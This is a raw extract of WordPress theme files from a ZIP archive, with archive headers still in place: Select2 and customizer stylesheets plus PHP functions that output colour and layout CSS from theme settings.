.select2-selection__choice__remove{display:none}.select2-container--default.select2-container--open.select2-container--above .select2-selection--single,.select2-container--default.select2-container--open.select2-container--above .select2-selection--multiple{border-top-left-radius:0;border-top-right-radius:0}.select2-container--default.select2-container--open.select2-container--below .select2-selection--single,.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--default .select2-search--dropdown .select2-search__field{border:1px solid #aaa}.select2-container--default .select2-search--inline .select2-search__field{background:transparent;border:none;outline:0;box-shadow:none;-webkit-appearance:textfield}.select2-container--default .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--default .select2-results__option[role=group]{padding:0}.select2-container--default .select2-results__option[aria-disabled=true]{color:#999}.select2-container--default .select2-results__option[aria-selected=true]{background-color:#ddd}.select2-container--default .select2-results__option .select2-results__option{padding-left:1em}.select2-container--default .select2-results__option .select2-results__option .select2-results__group{padding-left:0}.select2-container--default .select2-results__option .select2-results__option .select2-results__option{margin-left:-1em;padding-left:2em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-2em;padding-left:3em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-3em;padding-left:4em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-4em;padding-left:5em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-5em;padding-left:6em}.select2-container--default .select2-results__option--highlighted[aria-selected]{background-color:#5897fb;color:white}.select2-container--default .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic .select2-selection--single{background-color:#f7f7f7;border:1px solid #aaa;border-radius:4px;outline:0;background-image:-webkit-linear-gradient(top, #fff 50%, #eee 100%);background-image:-o-linear-gradient(top, #fff 50%, #eee 100%);background-image:linear-gradient(to bottom, #fff 50%, #eee 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0)}.select2-container--classic .select2-selection--single:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--classic .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:bold;margin-right:10px}.select2-container--classic .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--classic .select2-selection--single .select2-selection__arrow{background-color:#ddd;border:none;border-left:1px solid #aaa;border-top-right-radius:4px;border-bottom-right-radius:4px;height:26px;position:absolute;top:1px;right:1px;width:20px;background-image:-webkit-linear-gradient(top, #eee 50%, #ccc 100%);background-image:-o-linear-gradient(top, #eee 50%, #ccc 100%);background-image:linear-gradient(to bottom, #eee 50%, #ccc 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFCCCCCC', GradientType=0)}.select2-container--classic .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent transparent;border-style:solid;border-width:5px 4px 0 4px;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__clear{float:left}.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__arrow{border:none;border-right:1px solid #aaa;border-radius:0;border-top-left-radius:4px;border-bottom-left-radius:4px;left:1px;right:auto}.select2-container--classic.select2-container--open .select2-selection--single{border:1px solid #5897fb}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow{background:transparent;border:none}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888 transparent;border-width:0 4px 5px 4px}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single{border-top:none;border-top-left-radius:0;border-top-right-radius:0;background-image:-webkit-linear-gradient(top, #fff 0%, #eee 50%);background-image:-o-linear-gradient(top, #fff 0%, #eee 50%);background-image:linear-gradient(to bottom, #fff 0%, #eee 50%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0)}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--single{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0;background-image:-webkit-linear-gradient(top, #eee 50%, #fff 100%);background-image:-o-linear-gradient(top, #eee 50%, #fff 100%);background-image:linear-gradient(to bottom, #eee 50%, #fff 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFFFFFFF', GradientType=0)}.select2-container--classic .select2-selection--multiple{background-color:white;border:1px solid #aaa;border-radius:4px;cursor:text;outline:0}.select2-container--classic .select2-selection--multiple:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--multiple .select2-selection__rendered{list-style:none;margin:0;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__clear{display:none}.select2-container--classic .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove{color:#888;cursor:pointer;display:inline-block;font-weight:bold;margin-right:2px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover{color:#555}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice{float:right;margin-left:5px;margin-right:auto}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--classic.select2-container--open .select2-selection--multiple{border:1px solid #5897fb}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple{border-top:none;border-top-left-radius:0;border-top-right-radius:0}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--classic .select2-search--dropdown .select2-search__field{border:1px solid #aaa;outline:0}.select2-container--classic .select2-search--inline .select2-search__field{outline:0;box-shadow:none}.select2-container--classic .select2-dropdown{background-color:#fff;border:1px solid transparent}.select2-container--classic .select2-dropdown--above{border-bottom:none}.select2-container--classic .select2-dropdown--below{border-top:none}.select2-container--classic .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--classic .select2-results__option[role=group]{padding:0}.select2-container--classic .select2-results__option[aria-disabled=true]{color:grey}.select2-container--classic .select2-results__option--highlighted[aria-selected]{background-color:#3875d7;color:#fff}.select2-container--classic .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic.select2-container--open .select2-dropdown{border-color:#5897fb}
PK     0w\jv##  #    customizer/css/customizer.cssnu [        #customize-controls .customize-pane-child .customize-info .customize-panel-description {
    display: block;
    color: #444;
}

#customize-controls .customize-pane-child .customize-info .customize-panel-description a {
    text-decoration: underline;
}

.customize-control select,
.select2-container--default .selection .select2-selection--single {
    line-height: 27px;
    position: relative;
    height: 27px;
    border: none;
    border-radius: 0;
    outline: none;
    background-color: #fcfcff;
    -webkit-box-shadow: none;
    box-shadow: none;
}

.wp-customizer .select2-container--default .selection .select2-selection--multiple {
    height: auto;
    border: none;
    border-radius: 0;
    outline: none;
    background-color: #fcfcff;
    -webkit-box-shadow: none;
    box-shadow: none;
}

.wp-customizer .select2-container--default .select2-selection--multiple .select2-selection__rendered {
    width: 95%;
}

.wp-customizer .select2-container--default .select2-selection--multiple .select2-selection__clear {
    position: absolute;
    right: 0;
}

.wp-customizer .select2-container .select2-dropdown {
    z-index: 900000;
}

/* ==========================================================================
   Toggle Switch
   ========================================================================== */
.toggle-switch-control .customize-control-title {
    display: inline-block;
}

.toggle-switch {
    position: relative;
    float: right;
    width: 64px;
    -moz-user-select: none;
    -ms-user-select: none;
    -webkit-user-select: none;
}

.toggle-switch .toggle-switch-checkbox {
    display: none;
}

.toggle-switch .toggle-switch-label {
    display: block;
    overflow: hidden;
    margin: 0;
    padding: 0;
    cursor: pointer;
    border: 2px solid #ddd;
    border-radius: 20px;
}

.toggle-switch-inner {
    display: block;
    width: 200%;
    margin-left: -100%;
    transition: margin 0.3s ease-in 0s;
}

.toggle-switch-inner:before,
.toggle-switch-inner:after {
    font-family: Trebuchet, Arial, sans-serif;
    font-size: 14px;
    font-weight: bold;
    line-height: 22px;
    display: block;
    float: left;
    box-sizing: border-box;
    width: 50%;
    height: 22px;
    padding: 0;
    color: white;
}

.toggle-switch-inner:before {
    padding-left: 8px;
    content: "ON";
    color: #fff;
    background-color: #2885bb;
}

.toggle-switch-inner:after {
    padding-right: 8px;
    content: "OFF";
    text-align: right;
    color: #999;
    background-color: #eee;
}

.toggle-switch-switch {
    position: absolute;
    top: 0;
    right: 38px;
    bottom: 0;
    display: block;
    width: 16px;
    margin: 3px;
    transition: all 0.3s ease-in 0s;
    border: 2px solid #ddd;
    border-radius: 20px;
    background-color: #fff;
}

.toggle-switch-checkbox:checked + .toggle-switch-label .toggle-switch-inner {
    margin-left: 0;
}

.toggle-switch-checkbox:checked + .toggle-switch-label .toggle-switch-switch {
    right: 0px;
}

/* ==========================================================================
   Pill Checkboxes
   ========================================================================== */
.pill_checkbox_control .checkbox-label > input {
    display: none;
}

.pill_checkbox_control .checkbox-label > .sortable-pill-title {
    font-size: 1rem;
    display: inline-block;
    box-sizing: border-box;
    margin-bottom: 5px;
    padding: 5px 15px;
    cursor: pointer;
    border-radius: 20px;
    background-color: #ddd;
}

.pill_checkbox_control .sortable .checkbox-label > .sortable-pill-title {
    cursor: move;
}

.pill_checkbox_control .sortable.fullwidth_pills .checkbox-label > .sortable-pill-title {
    cursor: pointer;
}

.pill_checkbox_control .checkbox-label > input:checked + .sortable-pill-title {
    color: #fff;
    background-color: #2084bd;
}

.pill_checkbox_control .checkbox-label > input:checked + .sortable-pill-title:before {
    font-family: "dashicons";
    font-size: 24px;
    font-weight: normal;
    font-style: normal;
    font-variant: normal;
    display: inline-block;
    margin-left: -10px;
    content: "\f147";
    vertical-align: bottom;
    text-rendering: auto;
    -webkit-font-smoothing: antialiased;
}

.pill_checkbox_control .fullwidth_pills .checkbox-label > .sortable-pill-title {
    width: 100%;
    border-radius: 0;
}

.pill_checkbox_control .sortable.fullwidth_pills .checkbox-label > .sortable-pill-title {
    width: 90%;
}

.pill-ui-state-highlight {
    font-size: 1rem;
    display: inline-block;
    height: 16px;
    margin-bottom: 5px;
    padding: 5px 15px;
    border: 1px dotted #2084bd;
    border-radius: 20px;
}

.pill_checkbox_control .sortable_pills .pill-ui-state-highlight {
    width: 50px;
    border-radius: 20px;
}

.pill_checkbox_control .sortable_pills.fullwidth_pills .pill-ui-state-highlight {
    width: 90%;
    border-radius: 0;
}

.pill_checkbox_control .dashicons-sort {
    margin: 5px 0 0 1px;
    cursor: move;
    color: #d4d4d4;
}

.pill_checkbox_control .dashicons-sort:hover {
    color: #a7a7a7;
}

.pill_checkbox_control .sortable_pills.fullwidth_pills .ui-sortable-helper {
    width: calc(100% - 25px) !important;
}

/* ==========================================================================
   WPColorPicker Alpha Color Picker
   ========================================================================== */
.customize-control-wpcolorpicker-alpha-color .wp-color-result {
    box-shadow: none;
}

.customize-control-wpcolorpicker-alpha-color .wp-picker-input-wrap input[type="text"].wp-color-picker {
    float: left;
    width: 195px !important;
}

.customize-control-wpcolorpicker-alpha-color .wp-color-result .wp-color-result-text {
    border-left: none;
}

.customize-control-wpcolorpicker-alpha-color .iris-picker-inner .iris-slider,
.customize-control-wpcolorpicker-alpha-color .iris-picker-inner .iris-alpha-slider,
.customize-control-two-color-gradient .iris-picker-inner .iris-alpha-slider {
    width: 17.6px !important;
}

/* ==========================================================================
   Upsell Section
   ========================================================================== */
#customize-theme-controls #accordion-section-upsell_section {
    display: block !important;
}

#customize-theme-controls .upsell-section-title {
    font-size: 14px;
    position: relative;
    margin: 0;
    padding: 0;
    -moz-user-select: none;
    -ms-user-select: none;
    -webkit-user-select: none;
    user-select: none;
    transition: 0s color ease-in-out, 0s background-color ease-in-out, 0s border-color ease-in-out;
    border-right: 1px solid #ddd;
    border-bottom: 1px solid #ddd;
    border-left: 4px solid #fff;
    border-left: 1px solid #ddd;
}

#customize-theme-controls .upsell-section-title::after {
    font: normal 20px/1 dashicons;
    position: absolute;
    z-index: 1;
    top: 12px;
    right: 10px;
    display: block;
    content: "\f345";
    text-decoration: none !important;
    speak: none;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
}

#customize-theme-controls .upsell-section-title a {
    line-height: 21px;
    display: block;
    padding: 12px 15px 15px;
    text-decoration: none;
}

.tinymce-control textarea {
    width: 100%;
    padding: 10px;
}
.customize-control .box-model-wrapper span {
    display: block;
    margin: 0 0 10px;
}
.customize-control .box-model-wrapper .box-spacing-item,
.penci-pm-control .button-group {
    width: 24%;
    margin-right: 1%;
    display: inline-block;
}

.customize-control .box-model-wrapper .box-model + .box-model {
    margin-top: 15px;
}

.customize-control .box-model-wrapper .box-spacing-item:last-child {
    margin-right: 0;
}

.customize-control .box-model-wrapper .box-head {
    padding: 5px 10px;
    background: #444;
    color: #fff;
}

.penci-pm-control .button-group .label {
    font-size: 11px;
    display: block;
}
.customize-control .iris-strip.iris-slider.iris-alpha-slider {
    margin-left: 8px !important;
}
.customize-control-soledad-fw-color .wp-picker-container .color-alpha {
    border-radius: 0 !important;
    height: 28px !important;
}
#customize-controls .customize-info.is-in-view,
#customize-controls .customize-section-title.is-in-view {
    margin-top: 60px;
}
#customize-controls h3 {
    letter-spacing: -0.025rem;
}
.customize-control-description {
    display: none;
    margin-bottom: 10px;
}
#customize-controls .description.active {
    display: block !important;
}
.customize-control .help-icon {
    display: inline-block;
    width: 16px;
    height: 16px;
    background: #0073aa;
    color: #fff;
    font-size: 12px;
    text-align: center;
    line-height: 16px;
    border-radius: 50%;
    cursor: pointer;
    margin-left: 5px;
    position: relative;
}
.customize-control .tippy-box {
    border-radius: 5px !important;
}
.customize-control .tippy-box .tippy-content {
    font-size: 12px !important;
    line-height: 1.4 !important;
    height: auto !important;
    padding: 12px !important;
    font-weight: 400 !important;
}PK     0w\6 ,  ,  ,  customizer/style-page-header-transparent.phpnu [        <?php
if ( ! function_exists( 'pencidesign_customizer_css_page_header_transparent' ) ):
	function pencidesign_customizer_css_page_header_transparent() {
		$post_meta_df   = array(
			'tran_slogan_color'            => '',
			'tran_slogan_line_color'       => '',
			'tran_social_color'            => '',
			'tran_social_color_hover'      => '',
			'tran_main_bar_nav_color'      => '',
			'tran_bar_color_active'        => '',
			'tran_main_bar_padding_color'  => '',
			'tran_main_bar_search_magnify' => '',
			'tran_main_bar_close_color'    => '',
		);
		$header_options = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
		$header_options = wp_parse_args( $header_options, $post_meta_df );

		$slogan_color            = $header_options['tran_slogan_color'] ? $header_options['tran_slogan_color'] : get_theme_mod( 'penci_header_tran_slogan_color' );
		$slogan_line_color       = $header_options['tran_slogan_line_color'] ? $header_options['tran_slogan_line_color'] : get_theme_mod( 'penci_header_tran_slogan_line_color' );
		$social_color            = $header_options['tran_social_color'] ? $header_options['tran_social_color'] : get_theme_mod( 'penci_header_tran_social_color' );
		$social_color_hover      = $header_options['tran_social_color_hover'] ? $header_options['tran_social_color_hover'] : get_theme_mod( 'penci_header_tran_social_color_hover' );
		$main_bar_nav_color      = $header_options['tran_main_bar_nav_color'] ? $header_options['tran_main_bar_nav_color'] : get_theme_mod( 'penci_tran_main_bar_nav_color' );
		$bar_color_active        = $header_options['tran_bar_color_active'] ? $header_options['tran_bar_color_active'] : get_theme_mod( 'penci_tran_main_bar_color_active' );
		$bar_padding_color       = $header_options['tran_main_bar_padding_color'] ? $header_options['tran_main_bar_padding_color'] : get_theme_mod( 'penci_tran_main_bar_padding_color' );
		$main_bar_search_magnify = $header_options['tran_main_bar_search_magnify'] ? $header_options['tran_main_bar_search_magnify'] : get_theme_mod( 'penci_tran_main_bar_search_magnify' );
		$main_bar_close_color    = $header_options['tran_main_bar_close_color'] ? $header_options['tran_main_bar_close_color'] : get_theme_mod( 'penci_tran_main_bar_close_color' );

		?>

		@media only screen and (min-width: 961px){
		<?php if ( $slogan_color ): ?>
			.penci-header-trans .header-slogan .header-slogan-text{ color:  <?php echo esc_attr( $slogan_color ); ?> !important; }
		<?php endif; ?>
		<?php if ( $slogan_line_color ): ?>
			.penci-header-trans .header-slogan .header-slogan-text:before, .penci-header-trans .header-slogan .header-slogan-text:after { background:  <?php echo esc_attr( $slogan_line_color ); ?>; }
		<?php endif; ?>

		<?php if ( $social_color ): ?>
			.penci-header-trans #navigation.sticky:not(.sticky-active) .header-social a i,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .header-social a i,
			.penci-header-trans #navigation.sticky:not(.sticky-active) .main-nav-social a,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .main-nav-social a {   color: <?php echo esc_attr( $social_color ); ?>; }
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .penci-menuhbg-toggle .lines-button:after,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .penci-menuhbg-toggle .penci-lines:before,
			.penci-header-trans #navigation.sticky:not(.sticky-active) .penci-menuhbg-toggle .lines-button:after,
			.penci-header-trans #navigation.sticky:not(.sticky-active) .penci-menuhbg-toggle .penci-lines:before,
			.penci-header-trans #navigation.sticky:not(.sticky-active) .penci-menuhbg-toggle .penci-lines:after,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .penci-menuhbg-toggle .penci-lines:after {   background-color: <?php echo esc_attr( $social_color ); ?>; }
		<?php endif; ?>
		<?php if ( $social_color_hover ): ?>
			.penci-header-trans .header-social a:hover i, .penci-header-trans .header-social a:hover i, .penci-header-trans #navigation.sticky:not(.sticky-active) .main-nav-social a:hover,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .main-nav-social a:hover {   color: <?php echo esc_attr( $social_color_hover ); ?>; }
			.penci-header-trans #navigation.sticky:not(.sticky-active) .penci-menuhbg-toggle:hover .lines-button:after,
			.penci-header-trans #navigation.sticky:not(.sticky-active) .penci-menuhbg-toggle:hover .penci-lines:before,
			.penci-header-trans #navigation.sticky:not(.sticky-active) .penci-menuhbg-toggle:hover .penci-lines:after,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .penci-menuhbg-toggle:hover .lines-button:after,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .penci-menuhbg-toggle:hover .penci-lines:before,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .penci-menuhbg-toggle:hover .penci-lines:after {   background-color: <?php echo esc_attr( $social_color_hover ); ?>; }
		<?php endif; ?>
		<?php if ( $main_bar_nav_color ): ?>
			.penci-header-trans #navigation.sticky:not(.sticky-active) .menu > li > a, .penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation .menu > li > a { color:  <?php echo esc_attr( $main_bar_nav_color ); ?>; }
		<?php endif; ?>
		<?php if ( $bar_color_active ): ?>
			.penci-header-trans #navigation.sticky:not(.sticky-active) .menu > li > a:hover,
			.penci-header-trans #navigation.sticky:not(.sticky-active) .menu > li.current-menu-item > a,
			.penci-header-trans #navigation.sticky:not(.sticky-active) .menu > li.current_page_item > a,
			.penci-header-trans #navigation.sticky:not(.sticky-active) .menu > li:hover > a,
			.penci-header-trans #navigation.sticky:not(.sticky-active) .menu > li.current-menu-ancestor > a,
			.penci-header-trans #navigation.sticky:not(.sticky-active) .menu > li.current-menu-item > a,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation .menu > li > a:hover,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation .menu > li.current-menu-item > a,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation .menu > li.current_page_item > a,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation .menu > li:hover > a,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation .menu li.current-menu-ancestor > a,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation .menu > li.current-menu-item > a { color:  <?php echo esc_attr( $bar_color_active ); ?>; }
			.penci-header-trans #navigation.sticky:not(.sticky-active) ul.menu > li > a:before,
			.penci-header-trans #navigation.sticky:not(.sticky-active) .menu > ul > li > a:before,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation ul.menu > li > a:before,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation .menu > ul > li > a:before { background: <?php echo esc_attr( $bar_color_active ); ?>; }
		<?php endif; ?>
		<?php if ( $bar_padding_color ): ?>
			.penci-header-trans #navigation.menu-item-padding:not(.sticky-active) .menu > li > a:hover,
			.penci-header-trans #navigation.menu-item-padding:not(.sticky-active) .menu > li:hover > a,
			.penci-header-trans #navigation.menu-item-padding:not(.sticky-active) .menu > li.current-menu-item > a,
			.penci-header-trans #navigation.menu-item-padding:not(.sticky-active) .menu > li.current_page_item > a,
			.penci-header-trans #navigation.menu-item-padding:not(.sticky-active) .menu > li.current-menu-ancestor > a,
			.penci-header-trans #navigation.menu-item-padding:not(.sticky-active) .menu > li.current-menu-item > a,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation.menu-item-padding .menu > li > a:hover,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation.menu-item-padding .menu > li:hover > a,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation.menu-item-padding .menu > li.current-menu-item > a,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation.menu-item-padding .menu > li.current_page_item > a,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation.menu-item-padding .menu > li.current-menu-ancestor > a,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation.menu-item-padding .menu > li.current-menu-item > a { background-color:  <?php echo esc_attr( $bar_padding_color ); ?>; }
		<?php endif; ?>
		<?php if ( $main_bar_search_magnify ): ?>
            .penci-header-trans #navigation.sticky:not(.sticky-active) .top-search-classes a.cart-contents,
            .penci-header-trans #navigation.sticky:not(.sticky-active) .top-search-classes > a,
            .penci-header-trans #navigation.sticky:not(.sticky-active) .button-menu-mobile,
            .penci-header-trans .sticky-wrapper:not( .is-sticky ) .top-search-classes > a,
            .penci-header-trans .sticky-wrapper:not( .is-sticky ) .top-search-classes a.cart-contents,
            .penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation .button-menu-mobile { color: <?php echo esc_attr( $main_bar_search_magnify ); ?>; }
		<?php endif; ?>
		<?php if ( $main_bar_close_color ): ?>
			.penci-header-trans #navigation.sticky:not(.sticky-active) .show-search a.close-search, .penci-header-trans .sticky-wrapper:not( .is-sticky ) .show-search a.close-search{ color: <?php echo esc_attr( $main_bar_close_color ); ?>; }
			.penci-header-trans #navigation.sticky:not(.sticky-active) .show-search form.pc-searchform input.search-input::-webkit-input-placeholder{ color: <?php echo esc_attr( $main_bar_close_color ); ?>; }
			.penci-header-trans #navigation.sticky:not(.sticky-active) .show-search form.pc-searchform input.search-input:-moz-placeholder{ color: <?php echo esc_attr( $main_bar_close_color ); ?>; opacity: 1;}
			.penci-header-trans #navigation.sticky:not(.sticky-active) .show-search form.pc-searchform input.search-input::-moz-placeholder{ color: <?php echo esc_attr( $main_bar_close_color ); ?>; opacity: 1;}
			.penci-header-trans #navigation.sticky:not(.sticky-active) .show-search form.pc-searchform input.search-input:-ms-input-placeholder{ color: <?php echo esc_attr( $main_bar_close_color ); ?>; }
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .show-search form.pc-searchform input.search-input::-webkit-input-placeholder{ color: <?php echo esc_attr( $main_bar_close_color ); ?>; }
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .show-search form.pc-searchform input.search-input:-moz-placeholder { color: <?php echo esc_attr( $main_bar_close_color ); ?>; opacity: 1;}
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .show-search form.pc-searchform input.search-input::-moz-placeholder {color: <?php echo esc_attr( $main_bar_close_color ); ?>; opacity: 1; }
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .show-search form.pc-searchform input.search-input:-ms-input-placeholder { color: <?php echo esc_attr( $main_bar_close_color ); ?>; }
			.penci-header-trans #navigation.sticky:not(.sticky-active) .show-search form.pc-searchform input.search-input{ color: <?php echo esc_attr( $main_bar_close_color ); ?>; }
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .show-search form.pc-searchform input.search-input{ color: <?php echo esc_attr( $main_bar_close_color ); ?>; }
		<?php endif; ?>
		}
		<?php
	}
endif;
PK     0w\              customizer/quick-edit.phpnu [        PK     0w\B4eR  R    customizer/custom-css.phpnu [        <?php
header("Content-type: text/css; charset: UTF-8");

// Load the WordPress library.

// "../../../../../../wp-load.php"
$root = dirname( dirname( dirname( dirname( dirname( dirname( __FILE__ ) ) ) ) ) );

// "../../../../../wp-load.php"
$root2 = dirname( dirname( dirname( dirname( dirname( __FILE__ ) ) ) ) );

// "../../../../wp-load.php"
$root3 = dirname( dirname( dirname( dirname( __FILE__ ) ) ) );

if ( file_exists( $root . '/wp-load.php' ) ) {
	require_once( $root . '/wp-load.php' );
} elseif ( file_exists( $root2 . '/wp-load.php' ) ) {
	require_once( $root2 . '/wp-load.php' );
} elseif ( file_exists( $root3 . '/wp-load.php' ) ) {
	require_once( $root3 . '/wp-load.php' );
} else {
	return;
}

pencidesign_get_customizer_css_file();
pencidesign_customizer_css_page_header_title();
pencidesign_customizer_css_page_header_transparent();PK     0w\Ga a   customizer/style.phpnu [        <?php
/**
 * Add customize CSS from options customizer
 * Hook to wp_head() function to render style
 *
 * @package Wordpress
 * @since 1.0
 */
if ( ! function_exists( 'pencidesign_return_css' ) ):
	function pencidesign_return_css() {
		ob_start();
		pencidesign_get_customizer_css_file();
		if ( is_page() ) {
			pencidesign_customizer_css_page_header_title();
			pencidesign_customizer_css_page_header_transparent();
		}

		$output = ob_get_contents();
		ob_end_clean();

		return $output;
	}
endif;

/* Customize CSS */
if ( ! function_exists( 'pencidesign_customizer_css' ) ):
	function pencidesign_customizer_css() {
		if ( get_theme_mod( 'penci_custom_code_inside_head_tag' ) ):
			echo do_shortcode( get_theme_mod( 'penci_custom_code_inside_head_tag' ) );
		endif;

		$option = get_theme_mod( 'penci_spcss_render' );
		if ( 'separate_file' != $option ) {
			$string_css    = pencidesign_return_css();
			$string_render = trim( preg_replace( '/\s+/', ' ', $string_css ) );
			echo '<style id="penci-custom-style" type="text/css">';
			echo $string_render;
			echo '</style>';
		}
	}
endif;

if ( ! function_exists( 'pencidesign_get_customizer_css_file' ) ):
	function pencidesign_get_customizer_css_file() {
		$single_image_ratio = get_theme_mod( 'penci_post_featured_image_ratio' );
		$custom_container   = get_theme_mod( 'penci_custom_container_w' );
		$custom_container2  = get_theme_mod( 'penci_custom_container2_w' );
		$custom_scontainer  = get_theme_mod( 'penci_single_container_w' );
		$custom_scontainer2 = get_theme_mod( 'penci_single_container2_w' );

		$ajs_customizes               = [];
		$ajs_customizes['pcajs_tcl']  = get_theme_mod( 'penci_ajaxsearch_title_cl' );
		$ajs_customizes['pcava_bdr']  = get_theme_mod( 'penci_meta_author_bd', '10px' );
		$ajs_customizes['pcajs_thcl'] = get_theme_mod( 'penci_ajaxsearch_title_hcl' );
		$ajs_customizes['pcajs_mcl']  = get_theme_mod( 'penci_ajaxsearch_meta_cl' );
		$ajs_customizes['pcajs_mhcl'] = get_theme_mod( 'penci_ajaxsearch_meta_hcl' );
		$ajs_customizes['pcajs_ncl']  = get_theme_mod( 'penci_ajaxsearch_notice_cl' );
		$ajs_customizes['pcajs_bgcl'] = get_theme_mod( 'penci_ajaxsearch_bg_cl' );
		$ajs_customizes['pcajs_bcl']  = get_theme_mod( 'penci_ajaxsearch_borders_cl' );
		$ajs_customizes['pcajs_tfz']  = get_theme_mod( 'penci_ajaxsearch_title_fsize' ) ? get_theme_mod( 'penci_ajaxsearch_title_fsize' ) . 'px' : '';
		$ajs_customizes['pcajs_mfz']  = get_theme_mod( 'penci_ajaxsearch_meta_fsize' ) ? get_theme_mod( 'penci_ajaxsearch_meta_fsize' ) . 'px' : '';
		$ajs_customizes['pcajs_nfz']  = get_theme_mod( 'penci_ajaxsearch_notice_fsize' ) ? get_theme_mod( 'penci_ajaxsearch_notice_fsize' ) . 'px' : '';
		$ajs_customizes['pcajs_fvw']  = get_theme_mod( 'penci_video_float_w' ) ? get_theme_mod( 'penci_video_float_w' ) . 'px' : '470px';
		$ajs_customizes['pcajs_fvmw'] = get_theme_mod( 'penci_video_float_mw' ) ? get_theme_mod( 'penci_video_float_mw' ) . 'px' : '220px';
		$is_block_editor_mode = is_admin() ? true : false;
		$body = $is_block_editor_mode ? '.editor-styles-wrapper' : 'body';
		$edit_prefix = $is_block_editor_mode ? '.editor-styles-wrapper ' : '';
		?>
        <?php echo $body; ?>{
        --pcbg-cl: #fff;
        --pctext-cl: #313131;
        --pcborder-cl: #dedede;
        --pcheading-cl: #313131;
        --pcmeta-cl: #888888;
        --pcaccent-cl: #6eb48c;
        --pcbody-font: 'PT Serif', serif;
        --pchead-font: 'Raleway', sans-serif;
        --pchead-wei: bold;
		<?php
		foreach ( $ajs_customizes as $ajax_i => $value ) {
			echo $value ? '--' . $ajax_i . ':' . $value . ';' : '';
		}
		?>
        }
        .single.penci-body-single-style-5 #header,
        .single.penci-body-single-style-6 #header,
        .single.penci-body-single-style-10 #header,
        .single.penci-body-single-style-5 .pc-wrapbuilder-header,
        .single.penci-body-single-style-6 .pc-wrapbuilder-header,
        .single.penci-body-single-style-10 .pc-wrapbuilder-header {
        --pchd-mg: 40px;
        }
        .fluid-width-video-wrapper > div {
        position: absolute;
        left: 0;
        right: 0;
        top: 0;
